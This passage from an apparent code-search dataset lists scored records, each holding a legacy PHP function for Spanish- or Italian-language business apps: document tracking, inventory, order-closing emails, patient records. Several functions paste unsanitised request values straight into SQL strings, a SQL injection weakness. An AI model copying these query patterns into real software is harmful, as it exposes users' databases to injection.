$oItemSolicitacao;\n unset($oItem);\n\n }\n }\n }\n\n return $this->aItens;\n }", "title": "" }, { "docid": "2b1b993b7c6ed37f760aee8429d6bf32", "score": "0.5198682", "text": "function validaDuplicadoInterno ()\n\t{\n\t\t$anio = date(\"Y\");\n\t\t$referecnia=$this->argumentos[\"wl_referencia\"];\n\t\t$penvia=$this->argumentos[\"wl_idpersona_envia\"];\n\t\t$precibe=$this->argumentos[\"wl_idpersona_recibe\"];\n\t\t$fecha=$this->argumentos[\"wl_fechadocumento\"];\n\t\t$docto=$this->argumentos[\"wl_id_tipodocto\"];\n\t\t$asunto=$this->argumentos[\"wl_id_cveasunto\"];\n\t\t\n\t\t$sql = \t\"\tselect count (*) as reg from contra.gestion_interno as g \".\n\t\t\t\t\"\twhere referencia='\".$referecnia.\"' and anio=\".$anio.\" and idpersona_envia= \".$penvia.\"\t\".\n\t\t\t\t\"\tand idpersona_recibe=\".$precibe.\" and fechadocumento='\".$fecha.\"' and id_tipodocto=\".$docto.\" and id_cveasunto=\".$asunto.\";\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\tif ($row['reg']=='') { $reg=0; } else {$reg=$row['reg'];}\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "79fa4f82cf356bff08d2aa63deecbdfa", "score": "0.51972705", "text": "function verificar_estados_atadas($id_primario){\r\n $sql=\"select c.nro_factura,e.nombre\r\n from licitaciones.cobranzas c\r\n join licitaciones.atadas a on(c.id_cobranza=a.id_secundario)\r\n join licitaciones.historial_estados_cobranzas h using(id_cobranza)\r\n join licitaciones.estado_cobranzas e using(id_estado_cobranza)\r\n where a.id_primario=$id_primario and h.activo=1\";\r\n $res=sql($sql) or fin_pagina();\r\n for($i=0;$i<$res->recordcount();$i++){\r\n $text.=$res->fields[\"nro_factura\"].\" \".$res->fields[\"nombre\"].\"\\n\" ;\r\n $res->movenext();\r\n }//del for\r\n return $text;\r\n}", "title": "" }, { "docid": "3c4e1e20df9ed5af1b6b02bc486ae72d", "score": "0.5186177", "text": "function dameInventario() \n\t{ \n\t\t//echo \"<error>entro server</error>\t\"; \t\n \t$wlpropiedad=$this->argumentos[\"wl_idpropiedad\"];\n\t\t$sql = \t\"\tselect inventario from sicop.propiedades where idpropiedad=\".$wlpropiedad.\";\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$inventario=$row['inventario'];\n\t\techo \"<enviavalor>$inventario</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n }", "title": "" }, { "docid": "93fc6301b163788b8173e5c41ce152ae", "score": "0.5182935", "text": "function e3g_notifica_mov_cassa() {\n $p4a =& p4a::singleton();\n $db =& p4a_db::singleton();\n\n // Se ci sono movimenti in attesa di validazione...\n $qu_movimenti_cassa = $db->getAll( \n \"SELECT c.data_mov, c.importo, a.descrizione AS desc_utente \" .\n \" FROM _cassa c JOIN \" . $p4a->e3g_prefix . \"anagrafiche a ON c.id_utente_rif = a.idanag \" .\n \" WHERE c.prefix = '\" . $p4a->e3g_prefix . \"' \" .\n \" AND c.validato = 0 \" . \n \"ORDER BY c.data_mov \" );\n \n if ( $qu_movimenti_cassa ) {\n $oggetto = $p4a->e3g_azienda_rag_soc . \", movimenti di cassa in attesa\";\n\n /* OGGETTO: Manto-GAS, movimenti di cassa in attesa\n * \n * Salve Mario Rossi, cassiere di Manto-GAS,\n * ci sono movimenti di cassa in attesa di essere validati:\n * \n * - 20/12/2009 versamento di 25 euro da parte di Luca Verdi \n * - 03/01/2010 versamento di 90 euro da parte di Vittorio Bianchi \n * - 09/01/2010 prelievo di 10 euro da parte di Fabio Moretti \n * \n * Per validarli, collegarsi a: http://www.gestigas.org/e3g/?prefix=mantogas\n */ \n\n // Prepara parte di messaggio centrale con elenco movimenti\n $msg_centro = \"\";\n foreach ( $qu_movimenti_cassa as $qu_movimento_cassa ) {\n // Esempio: \"- 20/12/2009 versamento di 25 euro da parte di Luca Verdi\"\n $msg_centro .=\n \"- \" . e3g_format_mysql_data( $qu_movimento_cassa[\"data_mov\"] ) . ( $qu_movimento_cassa[\"importo\"]>=0 ? \" versamento di \" : \" prelievo di \" ) .\n $qu_movimento_cassa[\"importo\"] . \" euro da parte di \" . $qu_movimento_cassa[\"desc_utente\"] . \"\\n\";\n }\n // Parte di messaggio finale\n $msg_fine = \"\\nPer validarli, collegarsi a: \" . P4A_APPLICATION_URL . \"?prefix=$p4a->e3g_prefix\";\n \n // Invia la mail ad ogni cassiere attivo\n $qu_utenti = $db->getAll( \n \"SELECT descrizione, email FROM \" . $p4a->e3g_prefix . \"anagrafiche \" .\n \" WHERE cassiere = 1 AND stato = 1 \" );\n\n $n_invii = 0;\n foreach ( $qu_utenti as $qu_utente ) {\n // Parte di messaggio iniziale\n $msg_inizio = \n \"Salve \" . $qu_utente[\"descrizione\"] . \", cassiere di \" . $p4a->e3g_azienda_rag_soc . \",\\n\\n\" .\n \"ci sono movimenti di cassa in attesa di essere validati:\\n\\n\";\n\n if ( !e3g_invia_email( $oggetto, \n $msg_inizio . $msg_centro . $msg_fine, \n $qu_utente[\"email\"], $qu_utente[\"descrizione\"] ) ) \n e3g_debug( \"Si sono verificati errori durante l'invio a: \" . $qu_utente[\"descrizione\"] );\n $n_invii++; \n }\n \n // Aggiorna _aziende con la data odierna per evitare ulteriore spedizione\n $db->query( \"UPDATE _aziende \" .\n \" SET notifica_mov_cassa_data = CURDATE() \" .\n \" WHERE prefix = '\" . $p4a->e3g_prefix . \"'\" );\n \n return $n_invii; // TODO Però potrebbero essersi verificati degli errori\n }\n else\n return false; // Niente da notificare\n}", "title": "" }, { "docid": "7d911281a00bdd7b8711be4ba8cc1d71", "score": "0.5182005", "text": "public function mis_requerimientos_al_mes($com_id,$mes_id){\n $suma_monto=0;$nro=0;\n $lista_insumos=$this->model_notificacion->list_requerimiento_mes($com_id,$mes_id); /// Lista requerimientos al mes\n $vvalor[1]=0;\n $vvalor[2]=0;\n\n foreach($lista_insumos as $row){\n if(count($this->model_certificacion->get_mes_certificado($row['tins_id']))==0){\n $nro++;\n $suma_monto=$suma_monto+$row['ipm_fis'];\n }\n }\n\n $vvalor[1]=$nro; /// nro de Item\n $vvalor[2]=$suma_monto; /// suma monto\n return $vvalor;\n }", "title": "" }, { "docid": "749a0585a972b8188dfd988b55f0f404", "score": "0.5166544", "text": "function e3g_notifica_lista_spesa() {\n /*TODO\n * \n * ************************ DA TERMINARE ***********************************\n * \nALTER TABLE _aziende ADD notifica_lista_spesa CHAR( 1 ) NOT NULL DEFAULT '0';\nALTER TABLE _aziende ADD notifica_lista_spesa_data DATE NULL DEFAULT '2000-01-01';\n*/ \n $p4a =& p4a::singleton();\n $db =& p4a_db::singleton();\n \n // Se ieri si è CHIUSO almeno un ordine...\n $qu_fornitori = $db->getAll( \n \"SELECT f.descrizione, fp.datafine, az.notifica_chiusura_gg, \" .\n \" COUNT( a.codice ) AS n_articoli \" .\n \" FROM \" . $p4a->e3g_prefix . \"fornitoreperiodo AS fp \" . \n \" JOIN \" . $p4a->e3g_prefix . \"anagrafiche AS f ON f.codice = fp.fornitore AND f.stato = 1 \" . \n \" LEFT JOIN \" . $p4a->e3g_prefix . \"articoli AS a ON a.centrale = f.codice AND a.stato = 1 \" .\n \" JOIN _aziende AS az ON az.prefix = '\" . $p4a->e3g_prefix . \"'\" .\n\n \" WHERE \" . e3g_where_ordini_aperti(\"fp\") .\n \" AND DATE_SUB( fp.datafine, INTERVAL az.notifica_chiusura_gg DAY ) = CURDATE() \" .\n\n \" GROUP BY f.descrizione, fp.datafine, az.notifica_chiusura_gg \" .\n \" ORDER BY f.descrizione\" ); \n \n if ( $qu_fornitori ) {\n $oggetto = $p4a->e3g_azienda_rag_soc . \", chiusura ordine tra \" . $qu_fornitori[0][\"notifica_chiusura_gg\"] . \" giorn\" .\n ( $qu_fornitori[0][\"notifica_chiusura_gg\"]==1 ? \"o\" : \"i\" );\n\n /* OGGETTO: Manto-GAS, lista della spesa\n * \n * Salve Mario Rossi,\n * \n * il 28/02/2009 si e' chiuso il periodo d'ordine nei confronti dei seguenti fornitori:\n * \n * - Az. Agr. Gozzi Cesare e Franco (1 articolo)\n * - Eugea / Ecologia Urbana (6 articoli)\n * \n * La tua lista della spesa è vuota.\n * La tua attuale lista della spesa è composta da 45 articoli per un importo totale di 123 euro; ecco il dettaglio:\n * \n * [...]\n */ \n\n // Prepara parte di messaggio centrale con elenco fornitori\n $msg_centro = \"\";\n foreach ( $qu_fornitori as $qu_fornitore ) {\n // Esempio: \"- Eugea / Ecologia Urbana, fino al 28 febbraio (6 articoli)\"\n $msg_centro .=\n \"- \" . $qu_fornitore[\"descrizione\"] . \" (\" . $qu_fornitore[\"n_articoli\"] . \" articol\" . ( $qu_fornitore[\"n_articoli\"]==1 ? \"o\" : \"i\" ) . \")\\n\";\n }\n // Parte di messaggio finale\n $msg_fine = \"\\nPer ordinare, collegarsi a: \" . P4A_APPLICATION_URL . \"?prefix=$p4a->e3g_prefix\";\n \n // Invia la mail ad ogni utente attivo\n $qu_utenti = $db->getAll( \n \"SELECT u.descrizione, u.email, \" .\n \" SUM( c.qta ) AS qta, SUM( c.prezzoven * c.qta ) AS importo \" .\n \" FROM \" . $p4a->e3g_prefix . \"anagrafiche AS u \" .\n \" LEFT JOIN \" . $p4a->e3g_prefix . \"carrello AS c ON c.codutente = u.codice \" .\n \" WHERE u.tipocfa = 'C' AND u.tipoutente <> 'A' AND u.stato = 1 \" .\n \" GROUP BY u.descrizione, u.email \" );\n\n $n_invii = 0;\n foreach ( $qu_utenti as $qu_utente ) {\n // Parte di messaggio iniziale\n $msg_inizio = \n \"Salve \" . $qu_utente[\"descrizione\"] . \",\\n\\n\" .\n \"il \" . e3g_format_mysql_data( $qu_fornitore[\"datafine\"] ) . \" si chiudera' il periodo d'ordine nei confronti dei seguenti fornitori:\\n\\n\";\n\n // Parte di messaggio coi dati sulla lista della spesa\n $qta = (integer) $qu_utente[ \"qta\" ];\n $importo = (double) $qu_utente[ \"importo\" ];\n \n if ( $qta == 0 )\n $msg_spesa = \"\\nLa tua attuale lista della spesa e' vuota.\\n\";\n else \n $msg_spesa = \"\\nLa tua attuale lista della spesa e' composta da $qta articol\" . ( $qta==1 ? \"o\" : \"i\" ) . \n \" per un importo totale di \" . $importo . \" euro.\\n\";\n\n if ( !e3g_invia_email( $oggetto, \n $msg_inizio . $msg_centro . $msg_spesa . $msg_fine, \n $qu_utente[\"email\"], $qu_utente[\"descrizione\"] ) ) \n e3g_debug( \"Si sono verificati errori durante l'invio a: \" . $qu_utente[\"descrizione\"] ); \n $n_invii++; \n }\n \n // Aggiorna _aziende con la data odierna per evitare ulteriore spedizione\n $db->query( \"UPDATE _aziende \" .\n \" SET notifica_lista_spesa_data = CURDATE() \" .\n \" WHERE prefix = '\" . $p4a->e3g_prefix . \"'\" );\n\n return $n_invii; // TODO Però potrebbero essersi verificati degli errori\n }\n else\n return false; // Niente da notificare\n}", "title": "" }, { "docid": "5d12fd7ba9ea2e9c96a67d7da09a1be7", "score": "0.5159068", "text": "function e3g_notifica_chiusura() {\n $p4a =& p4a::singleton();\n $db =& p4a_db::singleton();\n\n // Se alla data di (oggi+notifica_chiusura_gg) si CHIUDE almeno un ordine...\n $qu_fornitori = $db->getAll( \n \"SELECT f.descrizione, fp.datafine, az.notifica_chiusura_gg, \" .\n \" COUNT( a.codice ) AS n_articoli \" .\n \" FROM \" . $p4a->e3g_prefix . \"fornitoreperiodo AS fp \" . \n \" JOIN \" . $p4a->e3g_prefix . \"anagrafiche AS f ON f.codice = fp.fornitore AND f.stato = 1 \" . \n \" LEFT JOIN \" . $p4a->e3g_prefix . \"articoli AS a ON a.centrale = f.codice AND a.stato = 1 \" .\n \" JOIN _aziende AS az ON az.prefix = '\" . $p4a->e3g_prefix . \"'\" .\n \" WHERE \" . e3g_where_ordini_aperti(\"fp\") .\n \" AND DATE_SUB( fp.datafine, INTERVAL az.notifica_chiusura_gg DAY ) = CURDATE() \" .\n \" GROUP BY f.descrizione, fp.datafine, az.notifica_chiusura_gg \" .\n \" ORDER BY f.descrizione\" ); \n \n if ( $qu_fornitori ) {\n $oggetto = $p4a->e3g_azienda_rag_soc . \", chiusura ordine tra \" . $qu_fornitori[0][\"notifica_chiusura_gg\"] . \" giorn\" .\n ( $qu_fornitori[0][\"notifica_chiusura_gg\"]==1 ? \"o\" : \"i\" );\n\n /* OGGETTO: Manto-GAS, chiusura ordine tra 3 giorni\n * \n * Salve Mario Rossi,\n * \n * il 28/02/2009 si chiuderà il periodo d'ordine nei confronti dei seguenti fornitori:\n * \n * - Az. Agr. Gozzi Cesare e Franco (1 articolo)\n * - Eugea / Ecologia Urbana (6 articoli)\n * \n * La tua attuale lista della spesa è vuota.\n * La tua attuale lista della spesa è composta da 45 articoli per un importo totale di 123 euro.\n * \n * Per ordinare, collegarsi a: http://www.gestigas.org/e3g/?prefix=mantogas\n */ \n\n // Prepara parte di messaggio centrale con elenco fornitori\n $msg_centro = \"\";\n foreach ( $qu_fornitori as $qu_fornitore ) {\n // Esempio: \"- Eugea / Ecologia Urbana, fino al 28 febbraio (6 articoli)\"\n $msg_centro .=\n \"- \" . $qu_fornitore[\"descrizione\"] . \" (\" . $qu_fornitore[\"n_articoli\"] . \" articol\" . ( $qu_fornitore[\"n_articoli\"]==1 ? \"o\" : \"i\" ) . \")\\n\";\n }\n // Parte di messaggio finale\n $msg_fine = \"\\nPer ordinare, collegarsi a: \" . P4A_APPLICATION_URL . \"?prefix=$p4a->e3g_prefix\";\n \n // Invia la mail ad ogni utente attivo\n $qu_utenti = $db->getAll( \n \"SELECT u.descrizione, u.email, \" .\n \" SUM( c.qta ) AS qta, SUM( c.prezzoven * c.qta ) AS importo \" .\n \" FROM \" . $p4a->e3g_prefix . \"anagrafiche AS u \" .\n \" LEFT JOIN \" . $p4a->e3g_prefix . \"carrello AS c ON c.codutente = u.codice \" .\n \" WHERE u.tipocfa = 'C' AND u.tipoutente <> 'A' AND u.stato = 1 \" .\n \" GROUP BY u.descrizione, u.email \" );\n\n $n_invii = 0;\n foreach ( $qu_utenti as $qu_utente ) {\n // Parte di messaggio iniziale\n $msg_inizio = \n \"Salve \" . $qu_utente[\"descrizione\"] . \",\\n\\n\" .\n \"il \" . e3g_format_mysql_data( $qu_fornitore[\"datafine\"] ) . \" si chiudera' il periodo d'ordine nei confronti dei seguenti fornitori:\\n\\n\";\n\n // Parte di messaggio coi dati sulla lista della spesa\n $qta = (integer) $qu_utente[ \"qta\" ];\n $importo = (double) $qu_utente[ \"importo\" ];\n \n if ( $qta == 0 )\n $msg_spesa = \"\\nLa tua attuale lista della spesa e' vuota.\\n\";\n else \n $msg_spesa = \"\\nLa tua attuale lista della spesa e' composta da $qta articol\" . ( $qta==1 ? \"o\" : \"i\" ) . \n \" per un importo totale di \" . $importo . \" euro.\\n\";\n\n if ( !e3g_invia_email( $oggetto, \n $msg_inizio . $msg_centro . $msg_spesa . $msg_fine, \n $qu_utente[\"email\"], $qu_utente[\"descrizione\"] ) ) \n e3g_debug( \"Si sono verificati errori durante l'invio a: \" . $qu_utente[\"descrizione\"] ); \n $n_invii++; \n }\n \n // Aggiorna _aziende con la data odierna per evitare ulteriore spedizione\n $db->query( \"UPDATE _aziende \" .\n \" SET notifica_chiusura_data = CURDATE() \" .\n \" WHERE prefix = '\" . $p4a->e3g_prefix . \"'\" );\n\n return $n_invii; // TODO Però potrebbero essersi verificati degli errori\n }\n else\n return false; // Niente da notificare\n}", "title": "" }, { "docid": "ba8828f99251100a2b4728d854a528fb", "score": "0.5157151", "text": "public function getNotific($IDEmpresa){\n\t\t$this->db->select('*');\n\t\t$this->db->from(\"Notificaciones\");\n\t\t$this->db->where(\"IDEmpresa='$IDEmpresa' order by visto desc, fecha desc limit 25\");\n\t\t$respu=$this->db->get();\n\t\tif($respu->num_rows()==0){\n\t\t\treturn false;\n\t\t}else{\n\t\t\t$not=[];\n\t\t\tforeach ($respu->result() as $key) {\n\n\t\t\t\tif($key->Descript==\"vista\"){\n\t\t\t\t\t\tif($key->IDEmpresaN==0){\n\t\t\t\t\t\t\t$descrip=\"Han visitado su perfil\";\n\t\t\t\t\t\t\t$logo=\"\";\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$dat=$this->DatosEmpresa($key->IDEmpresaN);\n\t\t\t\t\t\t\t$descrip=\"La empresa <strong>\".$dat[0]->Razon_Social.\" </strong> ha visitado su perfil.\";\n\t\t\t\t\t\t\t$logo=$dat[0]->Logo;\n\t\t\t\t\t\t}\n\t\t\t\t\t$link=\"/perfil/visitas\";\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tif($key->Descript===\"Follow\"){\n\t\t\t\t\t$dat=$this->DatosEmpresa($key->IDEmpresaN);\n\t\t\t\t\t$descrip=\"La empresa <strong>\".$dat[0]->Razon_Social.\" </strong> lo esta siguiendo.\";\n\t\t\t\t\t$logo=$dat[0]->Logo;\n\t\t\t\t\t$link=\"/perfil/calificacionesrecibidasc\";\n\t\t\t\t}\n\t\t\t\tif($key->Descript==\"calificacionC\"){\n\t\t\t\t\t$dat=$this->DatosEmpresa($key->IDEmpresaN);\n\t\t\t\t\t$descrip=\"La empresa <strong>\".$dat[0]->Razon_Social.\" </strong> lo ha calificado como Cliente.\";\n\t\t\t\t\t$logo=$dat[0]->Logo;\n\t\t\t\t\t$link=\"/perfil/calificacionesrecibidasc\";\n\t\t\t\t}\n\t\t\t\tif($key->Descript==\"calificacionp\"){\n\t\t\t\t\t$dat=$this->DatosEmpresa($key->IDEmpresaN);\n\t\t\t\t\t$descrip=\"La empresa <strong>\".$dat[0]->Razon_Social.\" </strong> lo ha calificacio como Proveedor\";\n\t\t\t\t\t$logo=$dat[0]->Logo;\n\t\t\t\t\t$link=\"/perfil/calificacionesrecibidasp\";\n\t\t\t\t}\n\t\t\t\tif($key->Descript==\"calificacionrp\"){\n\t\t\t\t\t$dat=$this->DatosEmpresa($key->IDEmpresaN);\n\t\t\t\t\t$descrip=\"La empresa <strong>\".$dat[0]->Razon_Social.\"</strong> lo ha recalificado como Proveedor\";\n\t\t\t\t\t$logo=$dat[0]->Logo;\n\t\t\t\t\t$link=\"/perfil/calificacionesrecibidasp\";\n\t\t\t\t}\n\t\t\t\tif($key->Descript==\"calificacionrc\"){\n\t\t\t\t\t$dat=$this->DatosEmpresa($key->IDEmpresaN);\n\t\t\t\t\t$descrip=\"La empresa <strong>\".$dat[0]->Razon_Social.\"</strong> lo ha recalificado como Cliente\";\n\t\t\t\t\t$logo=$dat[0]->Logo;\n\t\t\t\t\t$link=\"/perfil/calificacionesrecibidasc\";\n\t\t\t\t}\n\t\t\t\tif($key->visto==1){\n\t\t\t\t\t$class=\"novista\";\n\t\t\t\t}else{\n\t\t\t\t\t$class=\"vista\";\n\t\t\t\t}\n\t\t\t\tarray_push($not,array(\"Num\"=>$key->id,\"Fecha\"=>$key->fecha,\"leyenda\"=>$descrip,\"link\"=>$link,\"class\"=>$class,\"Logo\"=>$logo));\n\t\t\t}\n\t\t\treturn $not;\t\n\t\t}\n\t}", "title": "" }, { "docid": "91d5bc495ce35fd45f22845934c5319d", "score": "0.5156425", "text": "public function inventario () {\n \n $array_estanterias = Operaciones::listarEstanterias(); \n \n foreach ($array_estanterias as $estanteria) {\n \n $cod_estanteria = $estanteria->getCodigo();\n $id_estanteria = Operaciones::id_estanteria($cod_estanteria);\n \n $ordenSQL = \"SELECT id_caja FROM ocupacion WHERE id_estanteria = '\" . $id_estanteria . \"'\";\n global $conexion;\n $res = $conexion->query($ordenSQL);\n $dimension = $res->num_rows;\n \n if ($dimension > 0) {\n for ($i=0 ; $i<$dimension ; $i++) {\n $array_idCaja = $res->fetch_array();\n // LLamamos a la función que nos devuelve un obj_caja a partir de su id\n $obj_caja = Operaciones::obj_cajaPosicion($array_idCaja['id_caja']); \n // Llenamos el array con obj_caja\n $array_caja[] = $obj_caja;\n }\n \n // Contruimos la estanteria con cajas, pasamos un obj_estanteria y un array de obj_cajas\n $obj_estanteriaCajas = new EstanteriaCajas($estanteria, $array_caja);\n \n // volvemos a dejar le array de cajas vacio para que se llene con las cajas de la siguiente estanteria\n $array_caja = null; \n\n $array_estanteriaCajas[] = $obj_estanteriaCajas; \n } else {\n \n // Construimos la estanteria sin cajas y se la añadimos al array de estanterias\n $obj_estanteriaCajas = new EstanteriaCajas($estanteria, null);\n $array_estanteriaCajas[] = $obj_estanteriaCajas;\n }\n }\n $obj_inventario = new Inventario($array_estanteriaCajas);\n return $obj_inventario;\n }", "title": "" }, { "docid": "3cd17d89f62293bc280e10ada6874a93", "score": "0.51542574", "text": "public function verEpicrisis()\r\n {\r\n $sql = \"SELECT * FROM Epicrisis WHERE cedula_Usuario = '{$this-> cedula_Usuario}'\";\r\n $resultado = $this-> conex-> consultaRetorno($sql);//Guarda el Resultado de la Consulta\r\n //Guarda una fila del Resulset(Tabla Virtual) en un array asociativo\r\n $fila = mysqli_fetch_assoc($resultado);\r\n\r\n //Asignacion de Atributos de la Tabla Epicrisis\r\n $this-> id_Epicrisis = $fila['id_Epicrisis'];\r\n $this-> hipertension = $fila['hipertension'];\r\n $this-> enfermedad_Cardiaca = $fila['enfermedad_Cardiaca'];\r\n $this-> cancer = $fila['cancer'];\r\n $this-> sida = $fila['sida'];\r\n $this-> hepatitis = $fila['hepatitis'];\r\n $this-> epilepsia = $fila['epilepsia'];\r\n $this-> alergias = $fila['alergias'];\r\n $this-> asma = $fila['asma'];\r\n $this-> convulsiones = $fila['convulsiones'];\r\n $this-> anticuagulante = $fila['anticuagulante'];\r\n $this-> hipoglicemia = $fila['hipoglicemia'];\r\n $this-> embarazo = $fila['embarazo'];\r\n $this-> diabetes = $fila['diabetes'];\r\n $this-> otro = $fila['otro'];\r\n $this-> cedula_Usuario = $fila['cedula_Usuario'];\r\n\r\n return $fila;\r\n }", "title": "" }, { "docid": "36adf6e68eef0fb568feb5b545bd0d9d", "score": "0.5153656", "text": "public function recordatorioAppDiaAntes()\n {\n $this->load->module('scoreboards');\n $partidos = $this->mdl_scoreboards->today_matches_app_9pm();\n\n if ($partidos) {\n foreach ($partidos as $partido) {\n $this->notificacionRecordatorio($partido, \"Mañana \");\n }\n echo count($partidos);\n } else {\n echo \"no existen partidos\";\n }\n }", "title": "" }, { "docid": "9240fc3ef7b7ad38da564efbe3f7a481", "score": "0.5147391", "text": "function modificarServicios(){\r\n\t\t$this->procedimiento='vef.ft_servicios_ime';\r\n\t\t$this->transaccion='VEF_INGAS_MOD';\r\n\t\t$this->tipo_procedimiento='IME';\r\n\r\n\t\t//Define los parametros para la funcion\r\n\t\t$this->setParametro('id_concepto_ingas','id_concepto_ingas','int4');\r\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\r\n\t\t$this->setParametro('tipo','tipo','varchar');\r\n\t\t$this->setParametro('desc_ingas','desc_ingas','varchar');\r\n\t\t$this->setParametro('movimiento','movimiento','varchar');\r\n\t\t$this->setParametro('sw_tes','sw_tes','varchar');\r\n\t\t$this->setParametro('activo_fijo','activo_fijo','varchar');\r\n\t\t$this->setParametro('almacenable','almacenable','varchar');\r\n\t\t$this->setParametro('sw_autorizacion','sw_autorizacion','varchar');\r\n\t\t$this->setParametro('codigo','codigo','varchar');\r\n\t\t$this->setParametro('tipo_punto_venta','tipo_punto_venta','varchar');\r\n\t\t$this->setParametro('punto_venta_asociado','punto_venta_asociado','varchar');\r\n\t\t$this->setParametro('id_moneda','id_moneda','int4');\r\n\t\t$this->setParametro('precio','precio','numeric');\r\n\t\t$this->setParametro('requiere_descripcion','requiere_descripcion','varchar');\r\n\t\t$this->setParametro('excento','excento','varchar');\r\n\t\t$this->setParametro('id_actividad_economica','id_actividad_economica','int4');\r\n\t\t$this->setParametro('contabilizable','contabilizable','varchar');\r\n\t\t$this->setParametro('regionales','regionales','varchar');\r\n\t\t$this->setParametro('nivel_permiso','nivel_permiso','varchar');\r\n\t\t$this->setParametro('boleto_asociado','boleto_asociado','varchar');\r\n\t\t$this->setParametro('agrupador','agrupador','varchar');\r\n\t\t$this->setParametro('comision','comision','varchar');\r\n\t\t$this->setParametro('id_concepto_ingas_fk','id_concepto_ingas_fk','int4');\r\n\r\n\t\t$this->setParametro('id_unidad_medida','id_unidad_medida','int4');\r\n\t\t$this->setParametro('nandina','nandina','varchar');\r\n\t\t$this->setParametro('producto_id','producto_id','int4');\r\n\t\t//Ejecuta la instruccion\r\n\t\t$this->armarConsulta();\r\n\t\t$this->ejecutarConsulta();\r\n\r\n\t\t//Devuelve la respuesta\r\n\t\treturn $this->respuesta;\r\n\t}", "title": "" }, { "docid": "080c88a4a9378030c05ffcaf0ea92400", "score": "0.5143901", "text": "function NumeroDeRegistros() {\r\n //creamos el objeto $con a partir de la clase ConexionBD\r\n $con = new ConexionBD;\r\n //usamos el metodo conectar para realizar la conexion\r\n if ($con->conectar() == true) {\r\n $query = \"SELECT * FROM mnt_indicacionesporexamen\r\n INNER JOIN lab_conf_examen_estab \r\n ON lab_conf_examen_estab.id=mnt_indicacionesporexamen.id_conf_examen_estab\r\n WHERE lab_conf_examen_estab.condicion='H'\";\r\n $numreg = pg_num_rows(pg_query($query));\r\n if (!$numreg)\r\n return false;\r\n else\r\n return $numreg;\r\n }\r\n }", "title": "" }, { "docid": "8ee1453088014731b217e587e3e6dc67", "score": "0.51351106", "text": "function cierraGestionInterno()\n\t{\n\t\t//echo \"<error>1</error>\";\n\t\t$this->validapwdtecleadoope();\n\t\t$wlidpersonarecibe=$this->argumentos[\"wl_idpersona_recibe\"];\n\t\t$wlusuarioalta=$this->argumentos[\"wl_usuario_alta\"];\n\t\t$wlusuarioactual=$_SESSION[\"parametro1\"];\n\t\t$wlfolio=$this->argumentos[\"wl_folioconsecutivo\"];\n\n\t\t/*$sql = \t\" select id_persona from contra.cat_personas where usename='\".$wlusuarioactual.\"';\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\t$this->hayerrorsql($this->connection,\"cierraGestion\",$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en libera \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$wlidusuarioactual=$row[\"id_persona\"];\n\t\tif ($wlidpersonarecibe==$wlidusuarioactual || $wlusuarioalta==$wlusuarioactual)\n\t\t{\techo \"<__eventocontinua>true</__eventocontinua>\";\t}\n\t\telse\n\t\t{\techo \"<error>El usuario actual no puede cerrar el tramite</error>\";\t}*/\n\t\t\n\t\t$sql = \t\"\tselect ctt.respuesta\t\".\n\t\t\t\t\"\tfrom contra.ope_turnados_interno as t\t\".\n\t\t\t\t\"\tleft join contra.cat_tipo_tramite as ctt on ctt.id_tipotra=t.id_tipotra\t\".\n\t\t\t\t\"\twhere folioconsecutivo=\".$wlfolio.\"\t\".\n\t\t\t\t\"\tand id_persona =(select id_persona from contra.cat_personas where usename=current_user)\t\".\n\t\t\t\t\"\torder by t.fecha_alta desc\t\".\n\t\t\t\t\"\tlimit 1\t\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['respuesta'];\n\t\tif ($reg=='t') { echo \"<error>El ultimo turno requiere seguimiento</error>\";\t}\n\t\t\n\t\t$sql = \t\" select estatus from contra.gestion_interno where folioconsecutivo=$wlfolio;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\t\t\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$wlestatus=$row[\"estatus\"];\n\t\tif ($wlestatus==3) { echo \"<error>El tramite ya fue cerrado</error>\";\t}\n\t\t\n\t\t$sql = \t\" select count (*) from contra.ope_archivos_interno where folioconsecutivo=$wlfolio;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\t\t\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$count=$row[\"count\"];\n\t\tif ($count==0) { echo \"<error>Imposible cerrar, el tramite no tiene archivos adjuntos!</error>\";\t}\n\t\t\n\t}", "title": "" }, { "docid": "41c54f5d528cd7c9b157c0e3ffa7feb2", "score": "0.5132731", "text": "function RicercaIscritti() {\r\n global $errore,$messaggio,$icona;\r\n \r\n // costruisce il primo pezzo di query da inviare a MySql\r\n $query =\"SELECT ID,cognome,nome,Data_di_nascita,luogo_di_nascita,sesso,tipo_via,via,numero_civico,citt as citta, cap,provincia,citt,email,datatesseramento,quotaoratorio,TipoQuota,classe,sezione,presenza,coro,parrocchia_provenienza,DataScadenzaTessera FROM Catechismi \";\r\n\r\n // controlla il tipo di ricerca scelto dall'utente: se con ajax o barcode (quindi con ID)\r\n // oppure con il classico nome e cognome in modo da completare la query\r\n if ($_POST[\"hdnID\"]!=\"\") { \r\n // controlla se l'id inviato è formato solo da numeri\r\n if (!ereg(\"^[0-9]+$\",$_POST[\"hdnID\"])) {\r\n $errore=1;\r\n $messaggio=\"Il codice a barre inserito non &egrave; compatibile!\";\r\n $icona=2;\r\n unset ($_POST[\"hdnID\"]);\r\n return;\r\n } else {\r\n $query.=\"WHERE ID=\".$_POST[\"hdnID\"].\" AND 